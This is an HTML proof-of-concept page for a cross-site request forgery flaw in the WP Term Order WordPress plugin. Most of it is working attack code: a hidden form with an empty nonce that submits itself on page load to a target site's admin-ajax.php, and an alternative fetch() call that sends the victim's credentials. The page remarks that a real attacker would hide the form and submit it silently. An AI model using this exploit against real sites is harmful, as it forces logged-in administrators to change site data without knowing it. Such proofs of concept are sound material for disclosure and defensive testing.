    <h1>CSRF PoC for WP Term Order Plugin</h1>
    <p>This PoC demonstrates the CSRF vulnerability in WP Term Order plugin.</p>
    
    <form action="http://target-wordpress-site/wp-admin/admin-ajax.php" method="POST" id="csrf-form">
        <input type="hidden" name="action" value="term_order" />
        <input type="hidden" name="order" value='[{"term_id":1,"order":999},{"term_id":2,"order":1000}]' />

        <input type="hidden" name="_wpnonce" value="" />
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.getElementById('csrf-form').submit();
        console.log('CSRF request sent');
    </script>
    
    <p>If you see this message, the form has been submitted.</p>
    <p>Note: In a real attack, the attacker would hide the form and auto-submit it silently.</p>
    <p>The attacker can also use fetch API for asynchronous request:</p>
    <pre>
    fetch('http://target-wordpress-site/wp-admin/admin-ajax.php', {
        method: 'POST',
        credentials: 'include',
        headers: {'Content-Type': 'application/x-www-form-urlencoded'},
        body: 'action=term_order&order=[{term_id:1,order:999}]&taxonomy=category'
    });
